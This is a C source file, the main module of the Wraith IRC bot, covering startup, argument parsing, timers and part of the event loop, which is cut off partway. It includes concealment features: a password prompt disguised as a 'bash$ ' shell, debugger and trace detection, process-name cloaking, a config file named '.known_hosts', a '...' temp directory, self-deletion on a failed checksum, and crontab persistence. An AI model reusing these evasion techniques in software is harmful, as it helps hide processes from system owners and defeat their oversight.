main.c 26 KB

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798991001011021031041051061071081091101111121131141151161171181191201211221231241251261271281291301311321331341351361371381391401411421431441451461471481491501511521531541551561571581591601611621631641651661671681691701711721731741751761771781791801811821831841851861871881891901911921931941951961971981992002012022032042052062072082092102112122132142152162172182192202212222232242252262272282292302312322332342352362372382392402412422432442452462472482492502512522532542552562572582592602612622632642652662672682692702712722732742752762772782792802812822832842852862872882892902912922932942952962972982993003013023033043053063073083093103113123133143153163173183193203213223233243253263273283293303313323333343353363373383393403413423433443453463473483493503513523533543553563573583593603613623633643653663673683693703713723733743753763773783793803813823833843853863873883893903913923933943953963973983994004014024034044054064074084094104114124134144154164174184194204214224234244254264274284294304314324334344354364374384394404414424434444454464474484494504514524534544554564574584594604614624634644654664674684694704714724734744754764774784794804814824834844854864874884894904914924934944954964974984995005015025035045055065075085095105115125135145155165175185195205215225235245255265275285295305315325335345355365375385395405415425435445455465475485495505515525535545555565575585595605615625635645655665675685695705715725735745755765775785795805815825835845855865875885895905915925935945955965975985996006016026036046056066076086096106116126136146156166176186196206216226236246256266276286296306316326336346356366376386396406416426436446456466476486496506516526536546556566576586596606616626636646656666676686696706716726736746756766776786796806816826836846856866876886896906916926936946956966976986997007017027037047057067077087097107117127137147157167177187197207217227237247257267277287297307317327337347357367377387397407417427437447457467477487497507517527537547557567577587597607617627637647657667677687697707717727737747757767777787797807817827837847857867877887897907917927937947957967977987998008018028038048058068078088098108118128138148158168178188198208218228238248258268278288298308318328338348358368378388398408418428438448458468478488498508518528538548558568578588598608618628638648658668678688698708718728738748758768778788798808818828838848858868878888898908918928938948958968978988999009019029039049059069079089099109119129139149159169179189199209219229239249259269279289299309319329339349359369379389399409419429439449459469479489499509519529539549559569579589599609619629639649659669679689699709719729739749759769779789799809819829839849859869879889899909919929939949959969979989991000100110021003100410051006100710081009
  1. /*
  2. * main.c -- handles:
  3. * core event handling
  4. * command line arguments
  5. * context and assert debugging
  6. *
  7. */
  8. #include "common.h"
  9. #include "main.h"
  10. #include "color.h"
  11. #include "binary.h"
  12. #include "dcc.h"
  13. #include "misc.h"
  14. #include "response.h"
  15. #include "thread.h"
  16. #include "settings.h"
  17. #include "misc_file.h"
  18. #include "net.h"
  19. #include "users.h"
  20. #include "shell.h"
  21. #include "userrec.h"
  22. #include "tclhash.h"
  23. #include "cfg.h"
  24. #include "dccutil.h"
  25. #include "crypt.h"
  26. #include "debug.h"
  27. #include "chanprog.h"
  28. #include "traffic.h"
  29. #include "bg.h"
  30. #include "botnet.h"
  31. #include "build.h"
  32. #ifdef LEAF
  33. #include "src/mod/irc.mod/irc.h"
  34. #include "src/mod/server.mod/server.h"
  35. #endif /* LEAF */
  36. #include "src/mod/channels.mod/channels.h"
  37. #include <time.h>
  38. #include <errno.h>
  39. #include <unistd.h>
  40. #include <sys/wait.h>
  41. #ifdef STOP_UAC /* osf/1 complains a lot */
  42. # include <sys/sysinfo.h>
  43. # define UAC_NOPRINT /* Don't report unaligned fixups */
  44. #endif /* STOP_UAC */
  45. #include <sys/file.h>
  46. #include <sys/stat.h>
  47. #include "chan.h"
  48. #include "tandem.h"
  49. #include "egg_timer.h"
  50. #include "core_binds.h"
  51. #ifdef CYGWIN_HACKS
  52. #include <getopt.h>
  53. #endif /* CYGWIN_HACKS */
  54. #ifndef _POSIX_SOURCE
  55. /* Solaris needs this */
  56. #define _POSIX_SOURCE
  57. #endif
  58. extern int optind;
  59. char *mymd5 = bdhash;
  60. const time_t buildts = CVSBUILD; /* build timestamp (UTC) */
  61. const char egg_version[1024] = "1.2";
  62. int localhub = 1; /* we set this to 0 if we get a -B */
  63. int role;
  64. int loading = 0;
  65. int default_flags = 0; /* Default user flags and */
  66. int default_uflags = 0; /* Default userdefinied flags for people
  67. who say 'hello' or for .adduser */
  68. int backgrd = 1; /* Run in the background? */
  69. uid_t myuid;
  70. int term_z = 0; /* Foreground: use the terminal as a party line? */
  71. int updating = 0; /* this is set when the binary is called from itself. */
  72. char tempdir[DIRMAX] = "";
  73. char *binname = NULL;
  74. time_t online_since; /* Unix-time that the bot loaded up */
  75. char owner[121] = ""; /* Permanent owner(s) of the bot */
  76. char version[81] = ""; /* Version info (long form) */
  77. char ver[41] = ""; /* Version info (short form) */
  78. int use_stderr = 1; /* Send stuff to stderr instead of logfiles? */
  79. char quit_msg[1024]; /* quit message */
  80. time_t now; /* duh, now :) */
  81. #define fork_interval atoi( CFG_FORKINTERVAL.ldata ? CFG_FORKINTERVAL.ldata : CFG_FORKINTERVAL.gdata ? CFG_FORKINTERVAL.gdata : "0")
  82. static int do_confedit = 0; /* show conf menu if -C */
  83. #ifdef LEAF
  84. static char do_killbot[21] = "";
  85. #endif /* LEAF */
  86. static int checktrace = 1; /* Check for trace when starting up? */
  87. static char *getfullbinname(const char *argv_zero)
  88. {
  89. char cwd[DIRMAX] = "", *bin = NULL, *p = NULL, *p2 = NULL;
  90. bin = strdup(argv_zero);
  91. if (bin[0] == '/')
  92. return bin;
  93. if (!getcwd(cwd, DIRMAX))
  94. fatal("getcwd() failed", 0);
  95. if (cwd[strlen(cwd) - 1] == '/')
  96. cwd[strlen(cwd) - 1] = 0;
  97. p = bin;
  98. p2 = strchr(p, '/');
  99. while (p) {
  100. if (p2)
  101. *p2++ = 0;
  102. if (!strcmp(p, "..")) {
  103. p = strrchr(cwd, '/');
  104. if (p)
  105. *p = 0;
  106. } else if (strcmp(p, ".")) {
  107. strcat(cwd, "/");
  108. strcat(cwd, p);
  109. }
  110. p = p2;
  111. if (p)
  112. p2 = strchr(p, '/');
  113. }
  114. str_redup(&bin, cwd);
  115. return bin;
  116. }
  117. void fatal(const char *s, int recoverable)
  118. {
  119. int i = 0;
  120. #ifdef LEAF
  121. nuke_server((char *) s);
  122. #endif /* LEAF */
  123. if (s[0])
  124. putlog(LOG_MISC, "*", "!*! %s", s);
  125. /* flushlogs(); */
  126. #ifdef HAVE_SSL
  127. ssl_cleanup();
  128. #endif /* HAVE_SSL */
  129. for (i = 0; i < dcc_total; i++)
  130. if (dcc[i].sock >= 0)
  131. killsock(dcc[i].sock);
  132. if (!recoverable) {
  133. if (conf.bot && conf.bot->pid_file)
  134. unlink(conf.bot->pid_file);
  135. exit(1);
  136. }
  137. }
  138. static void check_expired_dcc()
  139. {
  140. int i;
  141. for (i = 0; i < dcc_total; i++)
  142. if (dcc[i].type && dcc[i].type->timeout_val &&
  143. ((now - dcc[i].timeval) > *(dcc[i].type->timeout_val))) {
  144. if (dcc[i].type->timeout)
  145. dcc[i].type->timeout(i);
  146. else if (dcc[i].type->eof)
  147. dcc[i].type->eof(i);
  148. else
  149. continue;
  150. /* Only timeout 1 socket per cycle, too risky for more */
  151. return;
  152. }
  153. }
  154. /* this also expires irc dcc_cmd auths */
  155. static void expire_simuls() {
  156. int idx = 0;
  157. for (idx = 0; idx < dcc_total; idx++) {
  158. if (dcc[idx].simul > 0) {
  159. if ((now - dcc[idx].simultime) >= 20) { /* expire simuls after 20 seconds (re-uses idx, so it wont fill up) */
  160. dcc[idx].simul = -1;
  161. lostdcc(idx);
  162. return; /* only safe to do one at a time */
  163. }
  164. }
  165. }
  166. }
  167. static void checkpass()
  168. {
  169. static int checkedpass = 0;
  170. if (!checkedpass) {
  171. char *gpasswd = NULL;
  172. gpasswd = (char *) getpass("bash$ ");
  173. checkedpass = 1;
  174. if (!gpasswd || (gpasswd && md5cmp(shellhash, gpasswd) && strcmp(mymd5, MD5(gpasswd)))) {
  175. werr(ERR_BADPASS);
  176. }
  177. }
  178. }
  179. static void got_ed(char *, char *, char*) __attribute__((noreturn));
  180. static void got_ed(char *which, char *in, char *out)
  181. {
  182. sdprintf("got_Ed called: -%s i: %s o: %s", which, in, out);
  183. if (!in || !out)
  184. fatal(STR("Wrong number of arguments: -e/-d <infile> <outfile/STDOUT>"),0);
  185. if (!strcmp(in, out))
  186. fatal("<infile> should NOT be the same name as <outfile>", 0);
  187. if (!strcmp(which, "e")) {
  188. Encrypt_File(in, out);
  189. fatal("File Encryption complete",3);
  190. } else if (!strcmp(which, "d")) {
  191. Decrypt_File(in, out);
  192. fatal("File Decryption complete",3);
  193. }
  194. exit(0);
  195. }
  196. static void show_help() __attribute__((noreturn));
  197. static void show_help()
  198. {
  199. char format[81] = "";
  200. egg_snprintf(format, sizeof format, "%%-30s %%-30s\n");
  201. printf(STR("%s\n\n"), version);
  202. printf(format, "Option", "Description");
  203. printf(format, "------", "-----------");
  204. printf(format, STR("-B <botnick>"), STR("Starts the specified bot"));
  205. printf(format, STR("-C"), STR("Config file menu system"));
  206. printf(format, STR("-e <infile> <outfile>"), STR("Encrypt infile to outfile"));
  207. printf(format, STR("-d <infile> <outfile>"), STR("Decrypt infile to outfile"));
  208. printf(format, STR("-D"), STR("Enables debug mode (see -n)"));
  209. printf(format, STR("-E [#/all]"), STR("Display Error codes english translation (use 'all' to display all)"));
  210. /* printf(format, STR("-g <file>"), STR("Generates a template config file"));
  211. printf(format, STR("-G <file>"), STR("Generates a custom config for the box"));
  212. */
  213. printf(format, "-h", "Display this help listing");
  214. printf(format, STR("-k <botname>"), STR("Terminates (botname) with kill -9"));
  215. printf(format, STR("-n"), STR("Disables backgrounding first bot in conf"));
  216. printf(format, STR("-s"), STR("Disables checking for ptrace/strace during startup (no pass needed)"));
  217. printf(format, STR("-t"), STR("Enables \"Partyline\" emulation (requires -n)"));
  218. printf(format, "-v", "Displays bot version");
  219. exit(0);
  220. }
  221. #ifdef LEAF
  222. # define PARSE_FLAGS "02B:Cd:De:Eg:G:k:L:P:hnstv"
  223. #else /* !LEAF */
  224. # define PARSE_FLAGS "02Cd:De:Eg:G:hnstv"
  225. #endif /* HUB */
  226. #define FLAGS_CHECKPASS "CdDeEgGhkntv"
  227. static void dtx_arg(int argc, char *argv[])
  228. {
  229. int i = 0;
  230. #ifdef LEAF
  231. int localhub_pid = 0;
  232. #endif /* LEAF */
  233. char *p = NULL;
  234. opterr = 0;
  235. while ((i = getopt(argc, argv, PARSE_FLAGS)) != EOF) {
  236. if (strchr(FLAGS_CHECKPASS, i))
  237. checkpass();
  238. switch (i) {
  239. case '0':
  240. exit(0);
  241. case '2': /* used for testing new binary through update */
  242. exit(2);
  243. #ifdef LEAF
  244. case 'B':
  245. localhub = 0;
  246. strncpyz(origbotname, optarg, NICKLEN + 1);
  247. break;
  248. #endif /* LEAF */
  249. case 'C':
  250. do_confedit = 1;
  251. break;
  252. case 'h':
  253. show_help();
  254. #ifdef LEAF
  255. case 'k': /* kill bot */
  256. strncpyz(do_killbot, optarg, sizeof do_killbot);
  257. #endif /* LEAF */
  258. case 'n':
  259. backgrd = 0;
  260. break;
  261. case 's':
  262. checktrace = 0;
  263. break;
  264. case 't':
  265. term_z = 1;
  266. break;
  267. case 'D':
  268. sdebug = 1;
  269. sdprintf("debug enabled");
  270. break;
  271. case 'E':
  272. p = argv[optind];
  273. if (p && p[0]) {
  274. if (!strcmp(p, "all")) {
  275. int n;
  276. putlog(LOG_MISC, "*", "Listing all errors");
  277. for (n = 1; n < ERR_MAX; n++)
  278. putlog(LOG_MISC, "*", "Error #%d: %s", n, werr_tostr(n));
  279. } else if (egg_isdigit(p[0])) {
  280. putlog(LOG_MISC, "*", "Error #%d: %s", atoi(p), werr_tostr(atoi(p)));
  281. }
  282. exit(0);
  283. } else {
  284. fatal(STR("You must specify error number after -E (or 'all')"), 0);
  285. }
  286. break;
  287. case 'e':
  288. if (argv[optind])
  289. p = argv[optind];
  290. got_ed("e", optarg, p);
  291. case 'd':
  292. if (argv[optind])
  293. p = argv[optind];
  294. got_ed("d", optarg, p);
  295. case 'v':
  296. {
  297. char date[50] = "";
  298. egg_strftime(date, sizeof date, "%c %Z", gmtime(&buildts));
  299. printf("%s\nBuild Date: %s (%lu)\n", version, date, buildts);
  300. exit(0);
  301. }
  302. #ifdef LEAF
  303. case 'L':
  304. {
  305. localhub_pid = checkpid(optarg, NULL);
  306. break;
  307. }
  308. case 'P':
  309. if (atoi(optarg) && (atoi(optarg) != localhub_pid))
  310. exit(2);
  311. else
  312. sdprintf("Updating...");
  313. localhub = 1;
  314. updating = 1;
  315. break;
  316. #endif
  317. case '?':
  318. default:
  319. break;
  320. }
  321. }
  322. }
  323. /* Timer info */
  324. static int lastmin = 99;
  325. static struct tm nowtm;
  326. void core_10secondly()
  327. {
  328. #ifndef CYGWIN_HACKS
  329. static int curcheck = 0;
  330. curcheck++;
  331. if (curcheck == 1)
  332. check_trace(0);
  333. #ifdef LEAF
  334. if (localhub) {
  335. #endif /* LEAF */
  336. check_promisc();
  337. if (curcheck == 2)
  338. check_last();
  339. if (curcheck == 3) {
  340. check_processes();
  341. curcheck = 0;
  342. }
  343. #ifdef LEAF
  344. }
  345. #endif /* LEAF */
  346. #endif /* !CYGWIN_HACKS */
  347. }
  348. /* Traffic stats
  349. */
  350. egg_traffic_t traffic;
  351. static void event_resettraffic()
  352. {
  353. traffic.out_total.irc += traffic.out_today.irc;
  354. traffic.out_total.bn += traffic.out_today.bn;
  355. traffic.out_total.dcc += traffic.out_today.dcc;
  356. traffic.out_total.filesys += traffic.out_today.filesys;
  357. traffic.out_total.trans += traffic.out_today.trans;
  358. traffic.out_total.unknown += traffic.out_today.unknown;
  359. traffic.in_total.irc += traffic.in_today.irc;
  360. traffic.in_total.bn += traffic.in_today.bn;
  361. traffic.in_total.dcc += traffic.in_today.dcc;
  362. traffic.in_total.filesys += traffic.in_today.filesys;
  363. traffic.in_total.trans += traffic.in_today.trans;
  364. traffic.in_total.unknown += traffic.in_today.unknown;
  365. egg_memset(&traffic.out_today, 0, sizeof(traffic.out_today));
  366. egg_memset(&traffic.in_today, 0, sizeof(traffic.in_today));
  367. }
  368. static void core_secondly()
  369. {
  370. static int cnt = 0;
  371. int miltime;
  372. #ifdef CRAZY_TRACE
  373. if (!attached) crazy_trace();
  374. #endif /* CRAZY_TRACE */
  375. if (fork_interval && backgrd && ((now - lastfork) > fork_interval))
  376. do_fork();
  377. cnt++;
  378. if ((cnt % 30) == 0) {
  379. autolink_cycle(NULL); /* attempt autolinks */
  380. cnt = 0;
  381. }
  382. egg_memcpy(&nowtm, gmtime(&now), sizeof(struct tm));
  383. if (nowtm.tm_min != lastmin) {
  384. int i = 0;
  385. /* Once a minute */
  386. lastmin = (lastmin + 1) % 60;
  387. /* In case for some reason more than 1 min has passed: */
  388. while (nowtm.tm_min != lastmin) {
  389. /* Timer drift, dammit */
  390. debug2("timer: drift (lastmin=%d, now=%d)", lastmin, nowtm.tm_min);
  391. i++;
  392. lastmin = (lastmin + 1) % 60;
  393. }
  394. if (i > 1)
  395. putlog(LOG_MISC, "*", "(!) timer drift -- spun %d minutes", i);
  396. miltime = (nowtm.tm_hour * 100) + (nowtm.tm_min);
  397. if (((int) (nowtm.tm_min / 5) * 5) == (nowtm.tm_min)) { /* 5 min */
  398. /* flushlogs(); */
  399. if (!miltime) { /* At midnight */
  400. char s[25] = "";
  401. strncpyz(s, ctime(&now), sizeof s);
  402. #ifdef HUB
  403. putlog(LOG_ALL, "*", "--- %.11s%s", s, s + 20);
  404. backup_userfile();
  405. #endif /* HUB */
  406. }
  407. }
  408. /* These no longer need checking since they are all check vs minutely
  409. * settings and we only get this far on the minute.
  410. */
  411. if (miltime == 300)
  412. event_resettraffic();
  413. }
  414. }
  415. static void core_minutely()
  416. {
  417. #ifdef HUB
  418. send_timesync(-1);
  419. #endif /* HUB */
  420. #ifdef LEAF
  421. check_mypid();
  422. #endif
  423. check_bind_time(&nowtm);
  424. /* flushlogs(); */
  425. }
  426. static void core_hourly()
  427. {
  428. }
  429. static void core_halfhourly()
  430. {
  431. #ifdef HUB
  432. write_userfile(-1);
  433. #endif /* HUB */
  434. }
  435. static void startup_checks() {
  436. int enc = CONF_ENC;
  437. #ifdef LEAF
  438. egg_snprintf(cfile, sizeof cfile, STR("%s/.known_hosts"), confdir());
  439. #endif /* LEAF */
  440. #ifdef HUB
  441. egg_snprintf(cfile, sizeof cfile, STR("%s/conf"), confdir());
  442. #endif /* HUB */
  443. #ifdef CYGWIN_HACKS
  444. egg_snprintf(cfile, sizeof cfile, STR("%s/conf.txt"), confdir());
  445. enc = 0;
  446. #endif /* CYGWIN_HACKS */
  447. if (!can_stat(confdir())) {
  448. #ifdef LEAF
  449. if (mkdir(confdir(), S_IRUSR | S_IWUSR | S_IXUSR)) {
  450. unlink(confdir());
  451. if (!can_stat(confdir()))
  452. if (mkdir(confdir(), S_IRUSR | S_IWUSR | S_IXUSR))
  453. #endif /* LEAF */
  454. werr(ERR_CONFSTAT);
  455. #ifdef LEAF
  456. }
  457. #endif /* LEAF */
  458. }
  459. if (fixmod(confdir()))
  460. werr(ERR_CONFDIRMOD);
  461. /*technically no longer needed?
  462. else if (!can_stat(cfile))
  463. werr(ERR_NOCONF);
  464. */
  465. else if (can_stat(cfile) && fixmod(cfile))
  466. werr(ERR_CONFMOD);
  467. if (!can_stat(tempdir)) {
  468. if (mkdir(tempdir, S_IRUSR | S_IWUSR | S_IXUSR)) {
  469. unlink(tempdir);
  470. if (!can_stat(tempdir))
  471. if (mkdir(tempdir, S_IRUSR | S_IWUSR | S_IXUSR))
  472. werr(ERR_TMPSTAT);
  473. }
  474. }
  475. if (fixmod(tempdir))
  476. werr(ERR_TMPMOD);
  477. /* test tempdir: it's vital */
  478. {
  479. FILE *f = NULL;
  480. char s[DIRMAX] = "";
  481. int fd;
  482. egg_snprintf(s, sizeof s, "%s.test-XXXXXX", tempdir);
  483. if ((fd = mkstemp(s)) == -1 || (f = fdopen(fd, "w")) == NULL) {
  484. if (fd != -1) {
  485. unlink(s);
  486. close(fd);
  487. }
  488. fatal("Can't write to tempdir!", 0);
  489. }
  490. fprintf(f, "\n");
  491. if (fflush(f))
  492. fatal(strerror(errno), 0);
  493. unlink(s);
  494. fclose(f);
  495. }
  496. if (can_stat(cfile))
  497. readconf(cfile, enc);
  498. #ifndef CYGWIN_HACKS
  499. if (do_confedit)
  500. confedit(cfile); /* this will exit() */
  501. #endif /* !CYGWIN_HACKS */
  502. parseconf();
  503. #ifdef LEAF
  504. if (localhub)
  505. #endif /* LEAF */
  506. writeconf(cfile, NULL, enc);
  507. if (!can_stat(binname))
  508. werr(ERR_BINSTAT);
  509. else if (fixmod(binname))
  510. werr(ERR_BINMOD);
  511. #ifdef LEAF
  512. #ifndef CYGWIN_HACKS
  513. /* move the binary to the correct place */
  514. {
  515. char newbin[DIRMAX] = "", real[DIRMAX] = "";
  516. sdprintf("my euid: %d my uuid: %d, my ppid: %d my pid: %d", geteuid(), myuid, getppid(), getpid());
  517. egg_snprintf(newbin, sizeof newbin, "%s%s%s", conffile.binpath,
  518. conffile.binpath[strlen(conffile.binpath) - 1] == '/' ? "" : "/",
  519. conffile.binname);
  520. sdprintf("newbin at: %s", newbin);
  521. ContextNote("realpath()");
  522. realpath(binname, real); /* get the realpath of binname */
  523. ContextNote("realpath(): Success");
  524. /* running from wrong dir, or wrong bin name.. lets try to fix that :) */
  525. if (strcmp(binname, newbin) && strcmp(newbin, real)) { /* if wrong path and new path != current */
  526. int ok = 1;
  527. sdprintf("real: %s", real);
  528. sdprintf("wrong dir, is: %s :: %s", binname, newbin);
  529. unlink(newbin);
  530. if (copyfile(binname, newbin))
  531. ok = 0;
  532. if (ok && !can_stat(newbin)) {
  533. unlink(newbin);
  534. ok = 0;
  535. }
  536. if (ok && fixmod(newbin)) {
  537. unlink(newbin);
  538. ok = 0;
  539. }
  540. if (!ok) {
  541. werr(ERR_WRONGBINDIR);
  542. } else {
  543. unlink(binname);
  544. system(newbin);
  545. sdprintf("exiting to let new binary run...");
  546. exit(0);
  547. }
  548. }
  549. }
  550. #endif /* !CYGWIN_HACKS */
  551. #endif /* LEAF */
  552. fillconf(&conf);
  553. #ifdef LEAF
  554. /* printf("%s%s%s\n", BOLD(-1), packname, BOLD_END(-1)); */
  555. if (localhub) {
  556. if (do_killbot[0]) {
  557. if (killbot(do_killbot) == 0)
  558. printf("'%s' successfully killed.\n", do_killbot);
  559. else
  560. printf("Error killing '%s'\n", do_killbot);
  561. exit(0);
  562. } else {
  563. spawnbots();
  564. if (updating)
  565. exit(0); /* just let the timer restart us (our parent) */
  566. }
  567. }
  568. if (!localhub) /* only clear conf on NON localhubs, we need it for cmd_conf */
  569. free_conf();
  570. #endif /* LEAF */
  571. }
  572. int init_dcc_max(), init_userent(), init_auth(), init_config(), init_party(),
  573. init_net(), init_botcmd();
  574. static char *fake_md5 = "596a96cc7bf9108cd896f33c44aedc8a";
  575. void dns_init();
  576. void console_init();
  577. void ctcp_init();
  578. void update_init();
  579. void notes_init();
  580. #ifdef LEAF
  581. void server_init();
  582. void irc_init();
  583. #endif /* LEAF */
  584. void channels_init();
  585. void compress_init();
  586. void share_init();
  587. void transfer_init();
  588. #ifndef CYGWIN_HACKS
  589. void _start();
  590. int tracecheck_breakpoint() {
  591. unsigned char * u = (unsigned char *) _start;
  592. return (*u == 0xCC);
  593. }
  594. #endif /* !CYGWIN_HACKS */
  595. int main(int argc, char **argv)
  596. {
  597. egg_timeval_t egg_timeval_now;
  598. Context;
  599. // char *out = NULL;
  600. //printf("ret: %d\n", system("c:/wraith/leaf.exe"));
  601. // shell_exec("c:\\windows\\notepad.exe", NULL, &out, &out);
  602. //printf("out: %s\n", out);
  603. setlimits();
  604. init_debug();
  605. init_signals();
  606. init_settings();
  607. if (strcmp(fake_md5, STR("596a96cc7bf9108cd896f33c44aedc8a"))) {
  608. unlink(argv[0]);
  609. fatal("!! Invalid binary", 0);
  610. }
  611. #ifdef STOP_UAC
  612. {
  613. int nvpair[2];
  614. nvpair[0] = SSIN_UACPROC;
  615. nvpair[1] = UAC_NOPRINT;
  616. setsysinfo(SSI_NVPAIRS, (char *) nvpair, 1, NULL, 0);
  617. }
  618. #endif
  619. /* Version info! */
  620. egg_snprintf(ver, sizeof ver, "[%s] Wraith %s", packname, egg_version);
  621. egg_snprintf(version, sizeof version, "[%s] Wraith %s (%lu)", packname, egg_version, buildts);
  622. Context;
  623. /* Initialize variables and stuff */
  624. timer_update_now(&egg_timeval_now);
  625. now = egg_timeval_now.sec;
  626. egg_memcpy(&nowtm, gmtime(&now), sizeof(struct tm));
  627. lastmin = nowtm.tm_min;
  628. srandom(now % (getpid() + getppid()) * randint(1000));
  629. myuid = geteuid();
  630. binname = getfullbinname(argv[0]);
  631. #ifndef CYGWIN_HACKS
  632. check_sum(binname);
  633. if (!checked_bin_buf)
  634. exit(1);
  635. #endif /* !CYGWIN_HACKS */
  636. #ifdef HUB
  637. egg_snprintf(userfile, 121, "%s/.u", confdir());
  638. #endif /* HUB */
  639. #ifdef HUB
  640. egg_snprintf(tempdir, sizeof tempdir, "%s/tmp/", confdir());
  641. #endif /* HUB */
  642. #ifdef LEAF
  643. egg_snprintf(tempdir, sizeof tempdir, "%s/.../", confdir());
  644. #endif /* LEAF */
  645. #ifdef CYGWIN_HACKS
  646. egg_snprintf(tempdir, sizeof tempdir, "%s/tmp/", confdir());
  647. #endif /* CYGWIN_HACKS */
  648. clear_tmp(); /* clear out the tmp dir, no matter if we are localhub or not */
  649. /* just load everything now, won't matter if it's loaded if the bot has to suicide on startup */
  650. init_flags();
  651. binds_init();
  652. core_binds_init();
  653. init_dcc_max();
  654. init_userent();
  655. init_party();
  656. init_net();
  657. init_auth();
  658. init_config();
  659. init_botcmd();
  660. init_conf();
  661. init_responses();
  662. if (argc) {
  663. sdprintf("Calling dtx_arg with %d params.", argc);
  664. dtx_arg(argc, argv);
  665. }
  666. #ifndef CYGWIN_HACKS
  667. if (checktrace)
  668. check_trace(1);
  669. #endif /* !CYGWIN_HACKS */
  670. startup_checks();
  671. /* if we are here, then all the necesary files/dirs are accesable, lets load the config now. */
  672. if ((localhub && !updating) || !localhub) {
  673. if ((conf.bot->pid > 0) && conf.bot->pid_file) {
  674. sdprintf("%s is already running, pid: %d", conf.bot->nick, conf.bot->pid);
  675. exit(1);
  676. }
  677. }
  678. dns_init();
  679. channels_init();
  680. #ifdef LEAF
  681. server_init();
  682. irc_init();
  683. #endif /* LEAF */
  684. transfer_init();
  685. share_init();
  686. update_init();
  687. notes_init();
  688. console_init();
  689. ctcp_init();
  690. chanprog();
  691. #ifdef HUB
  692. cfg_noshare = 1;
  693. if (!CFG_CHANSET.gdata)
  694. set_cfg_str(NULL, "chanset", glob_chanset);
  695. if (!CFG_SERVPORT.gdata)
  696. set_cfg_str(NULL, "servport", "6667");
  697. if (!CFG_REALNAME.gdata)
  698. set_cfg_str(NULL, "realname", "A deranged product of evil coders.");
  699. cfg_noshare = 0;
  700. #endif /* HUB */
  701. strcpy(botuser, origbotname);
  702. trigger_cfg_changed();
  703. #ifdef LEAF
  704. if (localhub) {
  705. sdprintf("I am localhub (%s)", conf.bot->nick);
  706. #endif /* LEAF */
  707. #ifndef CYGWIN_HACKS
  708. if (conffile.autocron)
  709. check_crontab();
  710. #endif /* !CYGWIN_HACKS */
  711. #ifdef LEAF
  712. }
  713. #endif /* LEAF */
  714. #if defined(LEAF) && defined(__linux__)
  715. if (conf.pscloak) {
  716. int argi;
  717. char *p = response(RES_PSCLOAK);
  718. for (argi = 0; argi < argc; argi++)
  719. egg_memset(argv[argi], 0, strlen(argv[argi]));
  720. strcpy(argv[0], p);
  721. }
  722. #endif /* LEAF */
  723. /* Move into background? */
  724. /* we don't split cygwin because to run as a service the bot shouldn't exit.
  725. confuses windows ;)
  726. */
  727. use_stderr = 0; /* stop writing to stderr now! */
  728. if (backgrd) {
  729. #ifndef CYGWIN_HACKS
  730. pid_t pid = 0;
  731. pid = do_fork();
  732. /*
  733. printf(" |- %-10s (%d)\n", conf.bot->nick, pid);
  734. if (localhub) {
  735. if (bots_ran)
  736. printf(" `- %d bots launched\n", bots_ran + 1);
  737. else
  738. printf(" `- 1 bot launched\n");
  739. }
  740. */
  741. printf("%s[%s%s%s]%s -%s- initiated %s(%s%d%s)%s\n",
  742. BOLD(-1), BOLD_END(-1), packname, BOLD(-1), BOLD_END(-1), conf.bot->nick,
  743. BOLD(-1), BOLD_END(-1), pid, BOLD(-1), BOLD_END(-1));
  744. #ifdef lame /* keeping for god knows why */
  745. printf("%s%s%c%s%s%s l%sA%su%sN%sc%sH%se%sD%s %s(%s%d%s)%s\n",
  746. RED(-1), BOLD(-1), conf.bot->nick[0], BOLD_END(-1), &conf.bot->nick[1],
  747. COLOR_END(-1), BOLD(-1), BOLD_END(-1), BOLD(-1), BOLD_END(-1), BOLD(-1), BOLD_END(-1),
  748. BOLD(-1), BOLD_END(-1), YELLOW(-1), COLOR_END(-1), pid, YELLOW(-1), COLOR_END(-1));
  749. #endif
  750. } else {
  751. #endif /* !CYGWIN_HACKS */
  752. #ifdef CYGWIN_HACKS
  753. FreeConsole();
  754. #endif /* CYGWIN_HACKS */
  755. printf("%s[%s%s%s]%s -%s- initiated\n", BOLD(-1), BOLD_END(-1), packname, BOLD(-1), BOLD_END(-1), conf.bot->nick);
  756. writepid(conf.bot->pid_file, getpid());
  757. }
  758. /* Terminal emulating dcc chat */
  759. if (!backgrd && term_z) {
  760. int n = new_dcc(&DCC_CHAT, sizeof(struct chat_info));
  761. dcc[n].addr = iptolong(getmyip());
  762. dcc[n].sock = STDOUT;
  763. dcc[n].timeval = now;
  764. dcc[n].u.chat->con_flags = conmask;
  765. dcc[n].u.chat->strip_flags = STRIP_ALL;
  766. dcc[n].status = STAT_ECHO;
  767. strcpy(dcc[n].nick, "HQ");
  768. strcpy(dcc[n].host, "llama@console");
  769. dcc[n].user = get_user_by_handle(userlist, dcc[n].nick);
  770. /* Make sure there's an innocuous HQ user if needed */
  771. if (!dcc[n].user) {
  772. userlist = adduser(userlist, dcc[n].nick, "none", "-", USER_ADMIN | USER_OWNER | USER_MASTER | USER_VOICE | USER_OP | USER_PARTY | USER_CHUBA | USER_HUBA, 0);
  773. dcc[n].user = get_user_by_handle(userlist, dcc[n].nick);
  774. }
  775. setsock(STDOUT, 0); /* Entry in net table */
  776. dprintf(n, "\n### ENTERING DCC CHAT SIMULATION ###\n\n");
  777. dcc_chatter(n);
  778. }
  779. online_since = now;
  780. autolink_cycle(NULL); /* Hurry and connect to tandem bots */
  781. timer_create_secs(1, "core_secondly", (Function) core_secondly);
  782. timer_create_secs(10, "check_expired_dcc", (Function) check_expired_dcc);
  783. timer_create_secs(10, "core_10secondly", (Function) core_10secondly);
  784. timer_create_secs(30, "expire_simuls", (Function) expire_simuls);
  785. timer_create_secs(60, "core_minutely", (Function) core_minutely);
  786. timer_create_secs(60, "check_botnet_pings", (Function) check_botnet_pings);
  787. timer_create_secs(60, "check_expired_ignores", (Function) check_expired_ignores);
  788. timer_create_secs(3600, "core_hourly", (Function) core_hourly);
  789. timer_create_secs(1800, "core_halfhourly", (Function) core_halfhourly);
  790. debug0("main: entering loop");
  791. while (1) {
  792. //if (tracecheck_breakpoint())
  793. //exit(0);
  794. int socket_cleanup = 0, i, xx, status = 0;
  795. char buf[SGRAB + 10] = "";
  796. #ifndef CYGWIN_HACKS
  797. if (conf.watcher && waitpid(watcher, &status, WNOHANG))
  798. fatal("watcher PID died/stopped", 0);
  799. #endif /* !CYGWIN_HACKS */
  800. /* Lets move some of this here, reducing the numer of actual
  801. * calls to periodic_timers
  802. */
  803. timer_update_now(&egg_timeval_now);
  804. now = egg_timeval_now.sec;
  805. random(); /* jumble things up o_O */
  806. timer_run();
  807. /* Only do this every so often. */
  808. if (!socket_cleanup) {
  809. socket_cleanup = 5;
  810. /* Remove dead dcc entries. */
  811. dcc_remove_lost();
  812. /* Check for server or dcc activity. */
  813. dequeue_sockets();
